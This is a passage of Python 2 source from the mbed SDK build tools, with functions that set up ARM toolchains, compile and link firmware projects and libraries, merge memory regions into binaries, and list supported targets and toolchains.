""" mbed SDK Copyright (c) 2011-2016 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import re import tempfile import datetime import uuid from types import ListType from shutil import rmtree from os.path import join, exists, dirname, basename, abspath, normpath, splitext from os.path import relpath from os import linesep, remove, makedirs from time import time from intelhex import IntelHex from json import load, dump from tools.utils import mkdir, run_cmd, run_cmd_ext, NotSupportedException,\ ToolException, InvalidReleaseTargetException, intelhex_offset from tools.paths import MBED_CMSIS_PATH, MBED_TARGETS_PATH, MBED_LIBRARIES,\ MBED_HEADER, MBED_DRIVERS, MBED_PLATFORM, MBED_HAL, MBED_CONFIG_FILE,\ MBED_LIBRARIES_DRIVERS, MBED_LIBRARIES_PLATFORM, MBED_LIBRARIES_HAL,\ BUILD_DIR from tools.targets import TARGET_NAMES, TARGET_MAP from tools.libraries import Library from tools.toolchains import TOOLCHAIN_CLASSES from jinja2 import FileSystemLoader from jinja2.environment import Environment from tools.config import Config RELEASE_VERSIONS = ['2', '5'] def prep_report(report, target_name, toolchain_name, id_name): """Setup report keys Positional arguments: report - the report to fill target_name - the target being used toolchain_name - the toolchain being used id_name - the name of the executable or library being built """ if not target_name in report: report[target_name] = {} if not toolchain_name in report[target_name]: report[target_name][toolchain_name] = {} if not id_name in report[target_name][toolchain_name]: report[target_name][toolchain_name][id_name] = [] def prep_properties(properties, target_name, toolchain_name, vendor_label): """Setup test properties Positional arguments: properties - the dict to fill target_name - the target the test is targeting toolchain_name - the toolchain that will compile the test vendor_label - the vendor """ if not target_name in properties: properties[target_name] = {} if not toolchain_name in properties[target_name]: properties[target_name][toolchain_name] = {} properties[target_name][toolchain_name]["target"] = target_name properties[target_name][toolchain_name]["vendor"] = vendor_label properties[target_name][toolchain_name]["toolchain"] = toolchain_name def create_result(target_name, toolchain_name, id_name, description): """Create a result dictionary Positional arguments: target_name - the target being built for toolchain_name - the toolchain doing the building id_name - the name of the executable or library being built description - a human readable description of what's going on """ cur_result = {} cur_result["target_name"] = target_name cur_result["toolchain_name"] = toolchain_name cur_result["id"] = id_name cur_result["description"] = description cur_result["elapsed_time"] = 0 cur_result["output"] = "" return cur_result def add_result_to_report(report, result): """Add a single result to a report dictionary Positional arguments: report - the report to append to result - the result to append """ result["date"] = datetime.datetime.utcnow().isoformat() result["uuid"] = str(uuid.uuid1()) target = result["target_name"] toolchain = result["toolchain_name"] id_name = result['id'] result_wrap = {0: result} report[target][toolchain][id_name].append(result_wrap) def get_config(src_paths, target, toolchain_name): """Get the configuration object for a target-toolchain combination Positional arguments: src_paths - paths to scan for the configuration files target - the device we are building for toolchain_name - the string that identifies the build tools """ # Convert src_paths to a list if needed if type(src_paths) != ListType: src_paths = [src_paths] # Pass all params to the unified prepare_resources() toolchain = prepare_toolchain(src_paths, None, target, toolchain_name) # Scan src_path for config files resources = toolchain.scan_resources(src_paths[0]) for path in src_paths[1:]: resources.add(toolchain.scan_resources(path)) # Update configuration files until added features creates no changes prev_features = set() while True: # Update the configuration with any .json files found while scanning toolchain.config.add_config_files(resources.json_files) # Add features while we find new ones features = set(toolchain.config.get_features()) if features == prev_features: break for feature in features: if feature in resources.features: resources += resources.features[feature] prev_features = features toolchain.config.validate_config() if toolchain.config.has_regions: _ = list(toolchain.config.regions) cfg, macros = toolchain.config.get_config_data() features = toolchain.config.get_features() return cfg, macros, features def is_official_target(target_name, version): """ Returns True, None if a target is part of the official release for the given version. Return False, 'reason' if a target is not part of the official release for the given version. Positional arguments: target_name - Name if the target (ex. 'K64F') version - The release version string. Should be a string contained within RELEASE_VERSIONS """ result = True reason = None target = TARGET_MAP[target_name] if hasattr(target, 'release_versions') \ and version in target.release_versions: if version == '2': # For version 2, either ARM or uARM toolchain support is required required_toolchains = set(['ARM', 'uARM']) if not len(required_toolchains.intersection( set(target.supported_toolchains))) > 0: result = False reason = ("Target '%s' must support " % target.name) + \ ("one of the folowing toolchains to be included in the") + \ ((" mbed 2.0 official release: %s" + linesep) % ", ".join(required_toolchains)) + \ ("Currently it is only configured to support the ") + \ ("following toolchains: %s" % ", ".join(target.supported_toolchains)) elif version == '5': # For version 5, ARM, GCC_ARM, and IAR toolchain support is required required_toolchains = set(['ARM', 'GCC_ARM', 'IAR']) required_toolchains_sorted = list(required_toolchains) required_toolchains_sorted.sort() supported_toolchains = set(target.supported_toolchains) supported_toolchains_sorted = list(supported_toolchains) supported_toolchains_sorted.sort() if not required_toolchains.issubset(supported_toolchains): result = False reason = ("Target '%s' must support " % target.name) + \ ("ALL of the folowing toolchains to be included in the") + \ ((" mbed OS 5.0 official release: %s" + linesep) % ", ".join(required_toolchains_sorted)) + \ ("Currently it is only configured to support the ") + \ ("following toolchains: %s" % ", ".join(supported_toolchains_sorted)) elif not target.default_lib == 'std': result = False reason = ("Target '%s' must set the " % target.name) + \ ("'default_lib' to 'std' to be included in the ") + \ ("mbed OS 5.0 official release." + linesep) + \ ("Currently it is set to '%s'" % target.default_lib) else: result = False reason = ("Target '%s' has set an invalid release version of '%s'" % version) + \ ("Please choose from the following release versions: %s" % ', '.join(RELEASE_VERSIONS)) else: result = False if not hasattr(target, 'release_versions'): reason = "Target '%s' " % target.name reason += "does not have the 'release_versions' key set" elif not version in target.release_versions: reason = "Target '%s' does not contain the version '%s' " % \ (target.name, version) reason += "in its 'release_versions' key" return result, reason def transform_release_toolchains(toolchains, version): """ Given a list of toolchains and a release version, return a list of only the supported toolchains for that release Positional arguments: toolchains - The list of toolchains version - The release version string. Should be a string contained within RELEASE_VERSIONS """ if version == '5': return ['ARM', 'GCC_ARM', 'IAR'] else: return toolchains def get_mbed_official_release(version): """ Given a release version string, return a tuple that contains a target and the supported toolchains for that release. Ex. Given '2', return (('LPC1768', ('ARM', 'GCC_ARM')), ('K64F', ('ARM', 'GCC_ARM')), ...) Positional arguments: version - The version string. Should be a string contained within RELEASE_VERSIONS """ mbed_official_release = ( tuple( tuple( [ TARGET_MAP[target].name, tuple(transform_release_toolchains( TARGET_MAP[target].supported_toolchains, version)) ] ) for target in TARGET_NAMES \ if (hasattr(TARGET_MAP[target], 'release_versions') and version in TARGET_MAP[target].release_versions) ) ) for target in mbed_official_release: is_official, reason = is_official_target(target[0], version) if not is_official: raise InvalidReleaseTargetException(reason) return mbed_official_release def add_regions_to_profile(profile, config, toolchain_class): """Add regions to the build profile, if there are any. Positional Arguments: profile - the profile to update config - the configuration object that owns the region toolchain_class - the class of the toolchain being used """ if not profile: return regions = list(config.regions) for region in regions: for define in [(region.name.upper() + "_ADDR", region.start), (region.name.upper() + "_SIZE", region.size)]: profile["common"].append("-D%s=0x%x" % define) active_region = [r for r in regions if r.active][0] for define in [("MBED_APP_START", active_region.start), ("MBED_APP_SIZE", active_region.size)]: profile["ld"].append(toolchain_class.make_ld_define(*define)) print("Using regions in this build:") for region in regions: print(" Region %s size 0x%x, offset 0x%x" % (region.name, region.size, region.start)) def prepare_toolchain(src_paths, build_dir, target, toolchain_name, macros=None, clean=False, jobs=1, notify=None, silent=False, verbose=False, extra_verbose=False, config=None, app_config=None, build_profile=None): """ Prepares resource related objects - toolchain, target, config Positional arguments: src_paths - the paths to source directories target - ['LPC1768', 'LPC11U24', etc.] toolchain_name - ['ARM', 'uARM', 'GCC_ARM', 'GCC_CR'] Keyword arguments: macros - additional macros clean - Rebuild everything if True jobs - how many compilers we can run at once notify - Notify function for logs silent - suppress printing of progress indicators verbose - Write the actual tools command lines used if True extra_verbose - even more output! config - a Config object to use instead of creating one app_config - location of a chosen mbed_app.json file build_profile - a list of mergeable build profiles """ # We need to remove all paths which are repeated to avoid # multiple compilations and linking with the same objects src_paths = [src_paths[0]] + list(set(src_paths[1:])) # If the configuration object was not yet created, create it now config = config or Config(target, src_paths, app_config=app_config) target = config.target try: cur_tc = TOOLCHAIN_CLASSES[toolchain_name] except KeyError: raise KeyError("Toolchain %s not supported" % toolchain_name) profile = {'c': [], 'cxx': [], 'common': [], 'asm': [], 'ld': []} for contents in build_profile or []: for key in profile: profile[key].extend(contents[toolchain_name][key]) if config.has_regions: add_regions_to_profile(profile, config, cur_tc) toolchain = cur_tc(target, notify, macros, silent, build_dir=build_dir, extra_verbose=extra_verbose, build_profile=profile) toolchain.config = config toolchain.jobs = jobs toolchain.build_all = clean toolchain.VERBOSE = verbose return toolchain def merge_region_list(region_list, destination, padding=b'\xFF'): """Merege the region_list into a single image Positional Arguments: region_list - list of regions, which should contain filenames destination - file name to write all regions to padding - bytes to fill gapps with """ merged = IntelHex() print("Merging Regions:") for region in region_list: if region.active and not region.filename: raise ToolException("Active region has no contents: No file found.") if region.filename: print(" Filling region %s with %s" % (region.name, region.filename)) part = intelhex_offset(region.filename, offset=region.start) part_size = (part.maxaddr() - part.minaddr()) + 1 if part_size > region.size: raise ToolException("Contents of region %s does not fit" % region.name) merged.merge(part) pad_size = region.size - part_size if pad_size > 0 and region != region_list[-1]: print(" Padding region %s with 0x%x bytes" % (region.name, pad_size)) merged.puts(merged.maxaddr() + 1, padding * pad_size) if not exists(dirname(destination)): makedirs(dirname(destination)) print("Space used after regions merged: 0x%x" % (merged.maxaddr() - merged.minaddr() + 1)) with open(destination, "wb+") as output: merged.tofile(output, format='bin') def scan_resources(src_paths, toolchain, dependencies_paths=None, inc_dirs=None, base_path=None, collect_ignores=False): """ Scan resources using initialized toolcain Positional arguments src_paths - the paths to source directories toolchain - valid toolchain object dependencies_paths - dependency paths that we should scan for include dirs inc_dirs - additional include directories which should be added to the scanner resources """ # Scan src_path resources = toolchain.scan_resources(src_paths[0], base_path=base_path, collect_ignores=collect_ignores) for path in src_paths[1:]: resources.add(toolchain.scan_resources(path, base_path=base_path, collect_ignores=collect_ignores)) # Scan dependency paths for include dirs if dependencies_paths is not None: for path in dependencies_paths: lib_resources = toolchain.scan_resources(path) resources.inc_dirs.extend(lib_resources.inc_dirs) # Add additional include directories if passed if inc_dirs: if type(inc_dirs) == ListType: resources.inc_dirs.extend(inc_dirs) else: resources.inc_dirs.append(inc_dirs) # Load resources into the config system which might expand/modify resources # based on config data resources = toolchain.config.load_resources(resources) # Set the toolchain's configuration data toolchain.set_config_data(toolchain.config.get_config_data()) if (hasattr(toolchain.target, "release_versions") and "5" not in toolchain.target.release_versions and "rtos" in toolchain.config.lib_config_data): if "Cortex-A" in toolchain.target.core: raise NotSupportedException( ("%s Will be supported in mbed OS 5.6. " "To use the %s, please checkout the mbed OS 5.4 release branch. " "See https://developer.mbed.org/platforms/Renesas-GR-PEACH/#important-notice " "for more information") % (toolchain.target.name, toolchain.target.name)) else: raise NotSupportedException("Target does not support mbed OS 5") return resources def build_project(src_paths, build_path, target, toolchain_name, libraries_paths=None, linker_script=None, clean=False, notify=None, verbose=False, name=None, macros=None, inc_dirs=None, jobs=1, silent=False, report=None, properties=None, project_id=None, project_description=None, extra_verbose=False, config=None, app_config=None, build_profile=None, stats_depth=None): """ Build a project. A project may be a test or a user program. Positional arguments: src_paths - a path or list of paths that contain all files needed to build the project build_path - the directory where all of the object files will be placed target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: libraries_paths - The location of libraries to include when linking linker_script - the file that drives the linker to do it's job clean - Rebuild everything if True notify - Notify function for logs verbose - Write the actual tools command lines used if True name - the name of the project macros - additional macros inc_dirs - additional directories where include files may be found jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me project_id - the name put in the report project_description - the human-readable version of what this thing does extra_verbose - even more output! config - a Config object to use instead of creating one app_config - location of a chosen mbed_app.json file build_profile - a dict of flags that will be passed to the compiler stats_depth - depth level for memap to display file/dirs """ # Convert src_path to a list if needed if type(src_paths) != ListType: src_paths = [src_paths] # Extend src_paths wiht libraries_paths if libraries_paths is not None: src_paths.extend(libraries_paths) inc_dirs.extend(map(dirname, libraries_paths)) if clean and exists(build_path): rmtree(build_path) mkdir(build_path) toolchain = prepare_toolchain( src_paths, build_path, target, toolchain_name, macros=macros, clean=clean, jobs=jobs, notify=notify, silent=silent, verbose=verbose, extra_verbose=extra_verbose, config=config, app_config=app_config, build_profile=build_profile) # The first path will give the name to the library name = (name or toolchain.config.name or basename(normpath(abspath(src_paths[0])))) toolchain.info("Building project %s (%s, %s)" % (name, toolchain.target.name, toolchain_name)) # Initialize reporting if report != None: start = time() # If project_id is specified, use that over the default name id_name = project_id.upper() if project_id else name.upper() description = project_description if project_description else name vendor_label = toolchain.target.extra_labels[0] prep_report(report, toolchain.target.name, toolchain_name, id_name) cur_result = create_result(toolchain.target.name, toolchain_name, id_name, description) if properties != None: prep_properties(properties, toolchain.target.name, toolchain_name, vendor_label) try: # Call unified scan_resources resources = scan_resources(src_paths, toolchain, inc_dirs=inc_dirs) # Change linker script if specified if linker_script is not None: resources.linker_script = linker_script # Compile Sources objects = toolchain.compile_sources(resources, resources.inc_dirs) resources.objects.extend(objects) # Link Program if toolchain.config.has_regions: res, _ = toolchain.link_program(resources, build_path, name + "_application") region_list = list(toolchain.config.regions) region_list = [r._replace(filename=res) if r.active else r for r in region_list] res = join(build_path, name) + ".bin" merge_region_list(region_list, res) else: res, _ = toolchain.link_program(resources, build_path, name) memap_instance = getattr(toolchain, 'memap_instance', None) memap_table = '' if memap_instance: # Write output to stdout in text (pretty table) format memap_table = memap_instance.generate_output('table', stats_depth) if not silent: print memap_table # Write output to file in JSON format map_out = join(build_path, name + "_map.json") memap_instance.generate_output('json', stats_depth, map_out) # Write output to file in CSV format for the CI map_csv = join(build_path, name + "_map.csv") memap_instance.generate_output('csv-ci', stats_depth, map_csv) resources.detect_duplicates(toolchain) if report != None: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() + memap_table cur_result["result"] = "OK" cur_result["memory_usage"] = memap_instance.mem_report cur_result["bin"] = res cur_result["elf"] = splitext(res)[0] + ".elf" cur_result.update(toolchain.report) add_result_to_report(report, cur_result) return res except Exception as exc: if report != None: end = time() if isinstance(exc, NotSupportedException): cur_result["result"] = "NOT_SUPPORTED" else: cur_result["result"] = "FAIL" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output add_result_to_report(report, cur_result) # Let Exception propagate raise def build_library(src_paths, build_path, target, toolchain_name, dependencies_paths=None, name=None, clean=False, archive=True, notify=None, verbose=False, macros=None, inc_dirs=None, jobs=1, silent=False, report=None, properties=None, extra_verbose=False, project_id=None, remove_config_header_file=False, app_config=None, build_profile=None): """ Build a library Positional arguments: src_paths - a path or list of paths that contain all files needed to build the library build_path - the directory where all of the object files will be placed target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: dependencies_paths - The location of libraries to include when linking name - the name of the library clean - Rebuild everything if True archive - whether the library will create an archive file notify - Notify function for logs verbose - Write the actual tools command lines used if True macros - additional macros inc_dirs - additional directories where include files may be found jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me extra_verbose - even more output! project_id - the name that goes in the report remove_config_header_file - delete config header file when done building app_config - location of a chosen mbed_app.json file build_profile - a dict of flags that will be passed to the compiler """ # Convert src_path to a list if needed if type(src_paths) != ListType: src_paths = [src_paths] # Build path if archive: # Use temp path when building archive tmp_path = join(build_path, '.temp') mkdir(tmp_path) else: tmp_path = build_path # Clean the build directory if clean and exists(tmp_path): rmtree(tmp_path) mkdir(tmp_path) # Pass all params to the unified prepare_toolchain() toolchain = prepare_toolchain( src_paths, build_path, target, toolchain_name, macros=macros, clean=clean, jobs=jobs, notify=notify, silent=silent, verbose=verbose, extra_verbose=extra_verbose, app_config=app_config, build_profile=build_profile) # The first path will give the name to the library if name is None: name = basename(normpath(abspath(src_paths[0]))) toolchain.info("Building library %s (%s, %s)" % (name, toolchain.target.name, toolchain_name)) # Initialize reporting if report != None: start = time() # If project_id is specified, use that over the default name id_name = project_id.upper() if project_id else name.upper() description = name vendor_label = toolchain.target.extra_labels[0] prep_report(report, toolchain.target.name, toolchain_name, id_name) cur_result = create_result(toolchain.target.name, toolchain_name, id_name, description) cur_result['type'] = 'library' if properties != None: prep_properties(properties, toolchain.target.name, toolchain_name, vendor_label) for src_path in src_paths: if not exists(src_path): error_msg = "The library source folder does not exist: %s", src_path if report != None: cur_result["output"] = error_msg cur_result["result"] = "FAIL" add_result_to_report(report, cur_result) raise Exception(error_msg) try: # Call unified scan_resources resources = scan_resources(src_paths, toolchain, dependencies_paths=dependencies_paths, inc_dirs=inc_dirs) # Copy headers, objects and static libraries - all files needed for # static lib toolchain.copy_files(resources.headers, build_path, resources=resources) toolchain.copy_files(resources.objects, build_path, resources=resources) toolchain.copy_files(resources.libraries, build_path, resources=resources) toolchain.copy_files(resources.json_files, build_path, resources=resources) if resources.linker_script: toolchain.copy_files(resources.linker_script, build_path, resources=resources) if resources.hex_files: toolchain.copy_files(resources.hex_files, build_path, resources=resources) # Compile Sources objects = toolchain.compile_sources(resources, resources.inc_dirs) resources.objects.extend(objects) if archive: toolchain.build_library(objects, build_path, name) if remove_config_header_file: config_header_path = toolchain.get_config_header() if config_header_path: remove(config_header_path) if report != None: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() cur_result["result"] = "OK" add_result_to_report(report, cur_result) return True except Exception as exc: if report != None: end = time() if isinstance(exc, ToolException): cur_result["result"] = "FAIL" elif isinstance(exc, NotSupportedException): cur_result["result"] = "NOT_SUPPORTED" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output add_result_to_report(report, cur_result) # Let Exception propagate raise ###################### ### Legacy methods ### ###################### def mbed2_obj_path(target_name, toolchain_name): real_tc_name = TOOLCHAIN_CLASSES[toolchain_name].__name__ return join("TARGET_" + target_name, "TOOLCHAIN_" + real_tc_name) def build_lib(lib_id, target, toolchain_name, verbose=False, clean=False, macros=None, notify=None, jobs=1, silent=False, report=None, properties=None, extra_verbose=False, build_profile=None): """ Legacy method for building mbed libraries Positional arguments: lib_id - the library's unique identifier target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: clean - Rebuild everything if True verbose - Write the actual tools command lines used if True macros - additional macros notify - Notify function for logs jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me extra_verbose - even more output! build_profile - a dict of flags that will be passed to the compiler """ lib = Library(lib_id) if not lib.is_supported(target, toolchain_name): print('Library "%s" is not yet supported on target %s with toolchain %s' % (lib_id, target.name, toolchain_name)) return False # We need to combine macros from parameter list with macros from library # definition lib_macros = lib.macros if lib.macros else [] if macros: macros.extend(lib_macros) else: macros = lib_macros src_paths = lib.source_dir build_path = lib.build_dir dependencies_paths = lib.dependencies inc_dirs = lib.inc_dirs inc_dirs_ext = lib.inc_dirs_ext if type(src_paths) != ListType: src_paths = [src_paths] # The first path will give the name to the library name = basename(src_paths[0]) if report != None: start = time() id_name = name.upper() description = name vendor_label = target.extra_labels[0] cur_result = None prep_report(report, target.name, toolchain_name, id_name) cur_result = create_result(target.name, toolchain_name, id_name, description) if properties != None: prep_properties(properties, target.name, toolchain_name, vendor_label) for src_path in src_paths: if not exists(src_path): error_msg = "The library source folder does not exist: %s", src_path if report != None: cur_result["output"] = error_msg cur_result["result"] = "FAIL" add_result_to_report(report, cur_result) raise Exception(error_msg) try: # Toolchain instance # Create the desired build directory structure bin_path = join(build_path, mbed2_obj_path(target.name, toolchain_name)) mkdir(bin_path) tmp_path = join(build_path, '.temp', mbed2_obj_path(target.name, toolchain_name)) mkdir(tmp_path) toolchain = prepare_toolchain( src_paths, tmp_path, target, toolchain_name, macros=macros, notify=notify, silent=silent, extra_verbose=extra_verbose, build_profile=build_profile, jobs=jobs, clean=clean) toolchain.info("Building library %s (%s, %s)" % (name.upper(), target.name, toolchain_name)) # Take into account the library configuration (MBED_CONFIG_FILE) config = toolchain.config config.add_config_files([MBED_CONFIG_FILE]) # Scan Resources resources = [] for src_path in src_paths: resources.append(toolchain.scan_resources(src_path)) # Add extra include directories / files which are required by library # This files usually are not in the same directory as source files so # previous scan will not include them if inc_dirs_ext is not None: for inc_ext in inc_dirs_ext: resources.append(toolchain.scan_resources(inc_ext)) # Dependencies Include Paths dependencies_include_dir = [] if dependencies_paths is not None: for path in dependencies_paths: lib_resources = toolchain.scan_resources(path) dependencies_include_dir.extend(lib_resources.inc_dirs) dependencies_include_dir.extend(map(dirname, lib_resources.inc_dirs)) if inc_dirs: dependencies_include_dir.extend(inc_dirs) # Add other discovered configuration data to the configuration object for res in resources: config.load_resources(res) toolchain.set_config_data(toolchain.config.get_config_data()) # Copy Headers for resource in resources: toolchain.copy_files(resource.headers, build_path, resources=resource) dependencies_include_dir.extend( toolchain.scan_resources(build_path).inc_dirs) # Compile Sources objects = [] for resource in resources: objects.extend(toolchain.compile_sources(resource, dependencies_include_dir)) needed_update = toolchain.build_library(objects, bin_path, name) if report != None and needed_update: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() cur_result["result"] = "OK" add_result_to_report(report, cur_result) return True except Exception: if report != None: end = time() cur_result["result"] = "FAIL" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output add_result_to_report(report, cur_result) # Let Exception propagate raise # We do have unique legacy conventions about how we build and package the mbed # library def build_mbed_libs(target, toolchain_name, verbose=False, clean=False, macros=None, notify=None, jobs=1, silent=False, report=None, properties=None, extra_verbose=False, build_profile=None): """ Function returns True is library was built and false if building was skipped Positional arguments: target - the MCU or board that the project will compile for toolchain_name - the name of the build tools Keyword arguments: verbose - Write the actual tools command lines used if True clean - Rebuild everything if True macros - additional macros notify - Notify function for logs jobs - how many compilers we can run at once silent - suppress printing of progress indicators report - a dict where a result may be appended properties - UUUUHHHHH beats me extra_verbose - even more output! build_profile - a dict of flags that will be passed to the compiler """ if report != None: start = time() id_name = "MBED" description = "mbed SDK" vendor_label = target.extra_labels[0] cur_result = None prep_report(report, target.name, toolchain_name, id_name) cur_result = create_result(target.name, toolchain_name, id_name, description) if properties != None: prep_properties(properties, target.name, toolchain_name, vendor_label) # Check toolchain support if toolchain_name not in target.supported_toolchains: supported_toolchains_text = ", ".join(target.supported_toolchains) print('%s target is not yet supported by toolchain %s' % (target.name, toolchain_name)) print('%s target supports %s toolchain%s' % (target.name, supported_toolchains_text, 's' if len(target.supported_toolchains) > 1 else '')) if report != None: cur_result["result"] = "SKIP" add_result_to_report(report, cur_result) return False try: # Source and Build Paths build_target = join(MBED_LIBRARIES, "TARGET_" + target.name) build_toolchain = join(MBED_LIBRARIES, mbed2_obj_path(target.name, toolchain_name)) mkdir(build_toolchain) # Toolchain tmp_path = join(MBED_LIBRARIES, '.temp', mbed2_obj_path(target.name, toolchain_name)) mkdir(tmp_path) toolchain = prepare_toolchain( [""], tmp_path, target, toolchain_name, macros=macros,verbose=verbose, notify=notify, silent=silent, extra_verbose=extra_verbose, build_profile=build_profile, jobs=jobs, clean=clean) # Take into account the library configuration (MBED_CONFIG_FILE) config = toolchain.config config.add_config_files([MBED_CONFIG_FILE]) toolchain.set_config_data(toolchain.config.get_config_data()) # CMSIS toolchain.info("Building library %s (%s, %s)" % ('CMSIS', target.name, toolchain_name)) cmsis_src = MBED_CMSIS_PATH resources = toolchain.scan_resources(cmsis_src) toolchain.copy_files(resources.headers, build_target) toolchain.copy_files(resources.linker_script, build_toolchain) toolchain.copy_files(resources.bin_files, build_toolchain) objects = toolchain.compile_sources(resources, tmp_path) toolchain.copy_files(objects, build_toolchain) # mbed toolchain.info("Building library %s (%s, %s)" % ('MBED', target.name, toolchain_name)) # Common Headers toolchain.copy_files([MBED_HEADER], MBED_LIBRARIES) library_incdirs = [dirname(MBED_LIBRARIES), MBED_LIBRARIES] for dir, dest in [(MBED_DRIVERS, MBED_LIBRARIES_DRIVERS), (MBED_PLATFORM, MBED_LIBRARIES_PLATFORM), (MBED_HAL, MBED_LIBRARIES_HAL)]: resources = toolchain.scan_resources(dir) toolchain.copy_files(resources.headers, dest) library_incdirs.append(dest) # Target specific sources hal_src = MBED_TARGETS_PATH hal_implementation = toolchain.scan_resources(hal_src) toolchain.copy_files(hal_implementation.headers + hal_implementation.hex_files + hal_implementation.libraries + [MBED_CONFIG_FILE], build_target, resources=hal_implementation) toolchain.copy_files(hal_implementation.linker_script, build_toolchain) toolchain.copy_files(hal_implementation.bin_files, build_toolchain) incdirs = toolchain.scan_resources(build_target).inc_dirs objects = toolchain.compile_sources(hal_implementation, library_incdirs + incdirs) toolchain.copy_files(objects, build_toolchain) # Common Sources mbed_resources = None for dir in [MBED_DRIVERS, MBED_PLATFORM, MBED_HAL]: mbed_resources += toolchain.scan_resources(dir) objects = toolchain.compile_sources(mbed_resources, library_incdirs + incdirs) # A number of compiled files need to be copied as objects as opposed to # way the linker search for symbols in archives. These are: # - mbed_retarget.o: to make sure that the C standard lib symbols get # overridden # - mbed_board.o: mbed_die is weak # - mbed_overrides.o: this contains platform overrides of various # weak SDK functions # - mbed_main.o: this contains main redirection separate_names, separate_objects = ['mbed_retarget.o', 'mbed_board.o', 'mbed_overrides.o', 'mbed_main.o', 'mbed_sdk_boot.o'], [] for obj in objects: for name in separate_names: if obj.endswith(name): separate_objects.append(obj) for obj in separate_objects: objects.remove(obj) toolchain.build_library(objects, build_toolchain, "mbed") for obj in separate_objects: toolchain.copy_files(obj, build_toolchain) if report != None: end = time() cur_result["elapsed_time"] = end - start cur_result["output"] = toolchain.get_output() cur_result["result"] = "OK" add_result_to_report(report, cur_result) return True except Exception as exc: if report != None: end = time() cur_result["result"] = "FAIL" cur_result["elapsed_time"] = end - start toolchain_output = toolchain.get_output() if toolchain_output: cur_result["output"] += toolchain_output cur_result["output"] += str(exc) add_result_to_report(report, cur_result) # Let Exception propagate raise def get_unique_supported_toolchains(release_targets=None): """ Get list of all unique toolchains supported by targets Keyword arguments: release_targets - tuple structure returned from get_mbed_official_release(). If release_targets is not specified, then it queries all known targets """ unique_supported_toolchains = [] if not release_targets: for target in TARGET_NAMES: for toolchain in TARGET_MAP[target].supported_toolchains: if toolchain not in unique_supported_toolchains: unique_supported_toolchains.append(toolchain) else: for target in release_targets: for toolchain in target[1]: if toolchain not in unique_supported_toolchains: unique_supported_toolchains.append(toolchain) if "ARM" in unique_supported_toolchains: unique_supported_toolchains.append("ARMC6") return unique_supported_toolchains def mcu_toolchain_list(release_version='5'): """ Shows list of toolchains """ if isinstance(release_version, basestring): # Force release_version to lowercase if it is a string release_version = release_version.lower() else: # Otherwise default to printing all known targets and toolchains release_version = 'all' version_release_targets = {} version_release_target_names = {} for version in RELEASE_VERSIONS: version_release_targets[version] = get_mbed_official_release(version) version_release_target_names[version] = [x[0] for x in version_release_targets[ version]] if release_version in RELEASE_VERSIONS: release_targets = version_release_targets[release_version] else: release_targets = None unique_supported_toolchains = get_unique_supported_toolchains( release_targets) columns = ["mbed OS %s" % x for x in RELEASE_VERSIONS] + unique_supported_toolchains return "\n".join(columns) def mcu_target_list(release_version='5'): """ Shows target list """ if isinstance(release_version, basestring): # Force release_version to lowercase if it is a string release_version = release_version.lower() else: # Otherwise default to printing all known targets and toolchains release_version = 'all' version_release_targets = {} version_release_target_names = {} for version in RELEASE_VERSIONS: version_release_targets[version] = get_mbed_official_release(version) version_release_target_names[version] = [x[0] for x in version_release_targets[ version]] if release_version in RELEASE_VERSIONS: release_targets = version_release_targets[release_version] else: release_targets = None target_names = [] if release_targets: target_names = [x[0] for x in release_targets] else: target_names = TARGET_NAMES return "\n".join(target_names) def mcu_toolchain_matrix(verbose_html=False, platform_filter=None, release_version='5'): """ Shows target map using prettytable Keyword arguments: verbose_html - emit html instead of a simple table platform_filter - remove results that match the string release_version - get the matrix for this major version number """ # Only use it in this function so building works without extra modules from prettytable import PrettyTable if isinstance(release_version, basestring): # Force release_version to lowercase if it is a string release_version = release_version.lower() else: # Otherwise default to printing all known targets and toolchains release_version = 'all' version_release_targets = {} version_release_target_names = {} for version in RELEASE_VERSIONS: version_release_targets[version] = get_mbed_official_release(version) version_release_target_names[version] = [x[0] for x in version_release_targets[ version]] if release_version in RELEASE_VERSIONS: release_targets = version_release_targets[release_version] else: release_targets = None unique_supported_toolchains = get_unique_supported_toolchains( release_targets) prepend_columns = ["Target"] + ["mbed OS %s" % x for x in RELEASE_VERSIONS] # All tests status table print columns = prepend_columns + unique_supported_toolchains table_printer = PrettyTable(columns) # Align table for col in columns: table_printer.align[col] = "c" table_printer.align["Target"] = "l" perm_counter = 0 target_counter = 0 target_names = [] if release_targets: target_names = [x[0] for x in release_targets] else: target_names = TARGET_NAMES for target in sorted(target_names): if platform_filter is not None: # FIlter out platforms using regex if re.search(platform_filter, target) is None: continue target_counter += 1 row = [target] # First column is platform name for version in RELEASE_VERSIONS: if target in version_release_target_names[version]: text = "Supported" else: text = "-" row.append(text) for unique_toolchain in unique_supported_toolchains: if (unique_toolchain in TARGET_MAP[target].supported_toolchains or (unique_toolchain == "ARMC6" and "ARM" in TARGET_MAP[target].supported_toolchains)): text = "Supported" perm_counter += 1 else: text = "-" row.append(text) table_printer.add_row(row) result = table_printer.get_html_string() if verbose_html \ else table_printer.get_string() result += "\n" result += "Supported targets: %d\n"% (target_counter) if target_counter == 1: result += "Supported toolchains: %d"% (perm_counter) return result def get_target_supported_toolchains(target): """ Returns target supported toolchains list Positional arguments: target - the target to get the supported toolchains of """ return TARGET_MAP[target].supported_toolchains if target in TARGET_MAP \ else 